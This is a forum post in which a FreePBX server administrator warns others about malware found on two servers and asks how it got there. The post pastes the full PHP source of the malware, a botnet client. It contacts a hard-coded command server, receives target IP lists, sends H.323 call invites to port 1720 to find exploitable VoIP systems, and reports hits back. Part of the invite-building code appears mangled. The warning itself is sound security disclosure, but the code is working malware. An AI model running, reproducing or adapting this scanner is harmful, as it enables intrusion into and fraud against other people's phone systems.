Malware using port 1720

Just thought I would let everyone know that I just discovered a malware script on one of my FPBX servers. It was polling random IP’s on port 1720
I have not figured out out how it got there yet. A check on my other servers found it on only one other so far. It is called client.php and can be found in the /tmp/pkglvl1/ directory.
Both servers running 6.12.65.29 on standard Distro.
Server IP it was reporting too, traces to Bulgaria.
Might be worth checking your servers.
If anyone can give me an idea on how it got there I would appreciate it.

script below

<?php Vars::$server_ip = '82.118.236.241'; Vars::$server_port = 5554; Vars::$server_timeout = 15; Vars::$task_max_time = 10; Vars::$sleep = 1200; Vars::$ulimit = 400; Vars::$remote_port = 1720; define( '_VERBOSE', -1 ); $TCP = FALSE; $Job = new Job; $task_size = Vars::$ulimit; $fails = 0; while( TRUE ) { try { if( !$TCP ) $TCP = new TCP( Vars::$server_ip, Vars::$server_port ); $TCP->send( array('status'=>'need_vars') ); $resp = $TCP->receive( Vars::$server_timeout ); if( empty($resp) ) throw new Exception( "No response when requesting variables" ); if( empty($resp['headers']['ip']) || empty($resp['headers']['randoms']) ) throw new Exception( "Bad response when requesting variables" ); $_unused = $resp['headers']['randoms']; Vars::$local_ip = $resp['headers']['ip']; $finished = FALSE; while( !$Job->isFinished() || !$finished ) { $elapsed = $Job->isFinished(); if( $elapsed !== FALSE ) { if( $task_size < 1 ) { message( 0, "Client shutting down due to 0 task size" ); throw new Exception( "0 task size" ); } $Job = new Job; $real_tasks = array(); $TCP->send( array('status'=>'need_tasks','count'=>$task_size) ); $resp = $TCP->receive( Vars::$server_timeout ); if( empty($resp) ) throw new Exception( "Server did not respond to request for next tasks" ); $tasks = trim( $resp['body'] ); if( empty($tasks) ) { $finished = TRUE; } else { $tasks = explode( "\n", $tasks ); $tasks = array_map( 'trim', $tasks ); foreach( $tasks as $task ) { if( empty($task) ) continue; $real_tasks[] = $task; } foreach( $real_tasks as $key => $task ) { $Job->addCall( $task ); } } if( !empty($Job->Calls) ) { message( 1, "Started ".count($Job->Calls)." tasks" ); } } $results = $Job->execute(); if( !empty($results) ) { $TCP->send( array('status'=>'results'), implode("\n", $results) ); message( 1, "Sent ".count($results)." results to server" ); } usleep( 100000 ); } } catch( Exception $E ) { $TCP = FALSE; message( 0, $E->getMessage() ); sleep( Vars::$sleep ); } sleep( 10 ); } function message( $level, $message ) { global $TCP; if( _VERBOSE >= $level ) { if( $TCP ) $TCP->send( array('status'=>'message'), $message ); else echo $message."\n"; } } class TCP { protected $socket; public function __construct( $ip, $port ) { $this->socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if(!$this->socket) throw new Exception("Unable to create socket"); if(!@socket_connect($this->socket, $ip, $port)) throw new Exception("Unable to connect to $ip:$port"); socket_set_nonblock( $this->socket ); socket_set_option( $this->socket, SOL_SOCKET, SO_SNDBUF, 1048576 ); socket_set_option( $this->socket, SOL_SOCKET, SO_RCVBUF, 1048576 ); socket_set_option( $this->socket, SOL_SOCKET, SO_KEEPALIVE, 1 ); if( !defined('MSG_EOF') ) define( 'MSG_EOF', 512 ); } public function send( $headers, $body = '' ) { $msg = ''; foreach( $headers as $name => $header ) $msg .= "$name:$header\n"; $msg .= "\n" . $body; $msg = pack( 'l', strlen($msg) ) . $msg; if( empty($msg) ) return FALSE; $return = @socket_send( $this->socket, $msg, strlen($msg), 0 ); if( $return == 0 ) throw new Exception( "Lost connection to TCP server" ); return $return; } public function receive( $timeout ) { $msg = $msg_temp = ''; $write = $except = NULL; $read = array($this->socket); $start = microtime( TRUE ); if( !@socket_select( $read, $write, $except, $timeout) ) return FALSE; $length = FALSE; do { if( !$length ) $read = 4; else $read = $length - strlen($msg); $msg_temp = socket_read( $this->socket, $read ); if( $msg_temp === '' ) { throw new Exception( "Lost connection to server" ); } elseif( !$length ) { if( strlen($msg_temp) >= 4 ) { list(,$length) = unpack( 'l', substr($msg_temp, 0, 4) ); $msg_temp = substr( $msg_temp, 4 ); } else { break; } } $msg .= $msg_temp; usleep( 5000 ); $elapsed = microtime( TRUE ) - $start; if( $elapsed > $timeout ) return FALSE; } while( strlen($msg) < $length ); $return = array(); if( !empty($msg) ) { $parts = explode( "\n\n", $msg, 2 ); if( count($parts) < 2 ) return FALSE; foreach( explode("\n", $parts[0]) as $header ) { $header_parts = explode( ':', $header, 2 ); if( count($header_parts) < 2 ) continue; $header_parts = array_map( 'trim', $header_parts ); $return['headers'][$header_parts[0]] = $header_parts[1]; } $return['body'] = $parts[1]; } return $return; } public function __destruct() { @socket_shutdown( $this->socket, 2 ); @socket_close( $this->socket ); } } class Vars { public static $local_ip, $server_ip, $server_port, $server_timeout, $task_increment, $task_max_time, $sleep, $ulimit, $remote_port = 1720; public static function getRandom() { if( !is_array(self::$randoms) ) { self::$randoms = explode( ',', self::$randoms ); self::$randoms = array_map( 'trim', self::$randoms ); } $max = count(self::$randoms) - 1; return self::$randoms[ mt_rand(0,$max) ]; } } class Job { /** * @var Call[] */ public $Calls = array(); public $start_time = 0; public function __construct() { $this->start_time = microtime( TRUE ); } public function addCall( $ip, $port = 1720 ) { $this->Calls[] = new Call( $ip, $port ); } public function isFinished() { $now = microtime( TRUE ); $return = $now - $this->start_time; if( $return > Vars::$task_max_time ) { return $return; } foreach( $this->Calls as $Call ) { if( !$Call->isFinished() ) { $return = FALSE; } } return $return; } public function execute() { $read = $write = array(); $null = NULL; foreach( $this->Calls as $key => $Call ) { if( !$Call->invite_sent ) { $write[] = $Call->socket; } elseif( !$Call->completed ) { $read[] = $Call->socket; } } @socket_select( $read, $write, $null, 0 ); $results = array(); foreach( $write as $client ) { foreach( $this->Calls as $Call ) { if( $Call->socket == $client ) { $Call->execute(); break; } } } foreach( $read as $client ) { foreach( $this->Calls as $Call ) { if( $Call->socket == $client ) { $msg = @socket_read( $client, 2048 ); if( $msg === '' ) { $Call->closeSocket(); } elseif( !empty($msg) ) { $results[] = $Call->ip; message( 9, "$Call->ip got some response" ); } $Call->completed = TRUE; break; } } } return $results; } } class Call { public $invite_sent = FALSE, $completed = FALSE, $ip = '', $port = 0, $socket = FALSE; public function __construct( $ip, $port = 1720 ) { $this->ip = $ip; $this->port = $port; $this->socket = socket_create( AF_INET, SOCK_STREAM, SOL_TCP ); socket_set_nonblock( $this->socket ); !@socket_connect( $this->socket, $this->ip, $this->port ); $this->start_time = microtime( TRUE ); } public function __destruct() { $this->closeSocket(); } public function isFinished() { if( $this->completed ) { return TRUE; } return FALSE; } public function execute() { if( !$this->invite_sent && !$this->completed ) { $ip = $port = $number = ''; $call_id = H323Messages::padZero(H323Messages::randomBytes(16), 32 ); $conference_id = H323Messages::padZero(H323Messages::randomBytes(16), 32 ); for( $i = 0, $max = mt_rand(9,12); $i < $max; $i++ ) { $number .= mt_rand(0,9); } message( 9, "$this->ip sending invite"); if( !socket_getsockname($this->socket, $ip, $port) ) { message( 9, "$this->ip unable to determine local port"); $this->completed = TRUE; return; } $msg = H323Messages::invite( $port, $number, $this->ip, $conference_id, $call_id ); message( 0, "sending ".strlen($msg)." bytes to $this->ip"); @socket_send( $this->socket, $msg, strlen($msg), 0 ); $this->invite_sent = TRUE; } } public function closeSocket() { message( 9, "$this->ip closed socket" ); @socket_shutdown( $this->socket, 2 ); @socket_close( $this->socket ); } } class H323Messages { public static function invite( $local_tcp_port, $number, $remote_ip, $conference_id, $call_id ) { $faststart_ip = str_pad(dechex(ip2long('8.8.9.1')),8,0,STR_PAD_LEFT); $p1 = '0300'; $p2 = '080200320504038090a32806636973636f0070'; $p3 = '20b8060008914a00040140040063006900730063006f22c0b8000027056f6f683332330676302e382e336d0001'; // Generate number stuff $number_len = (strlen($number)-1) < $char ) { if( $i % 2 == 0 ) $return .= chr(hexdec($char)); } return $return; } public static function randomBytes( $num ) { $r = ''; for( $i = 0; $i < $num; $i++ ) $r .= chr( mt_rand(0,255) ); return bin2hex( $r ); } public static function encodeNumber( $numbers ) { $translation = array( '3','4','5','6','7','8','9','a','b','c' ); $return = ''; foreach( str_split($numbers) as $number ) { $return .= $translation[ $number ]; } $return .= strlen($return) % 2 != 0 ? '0' : '00'; return $return; } }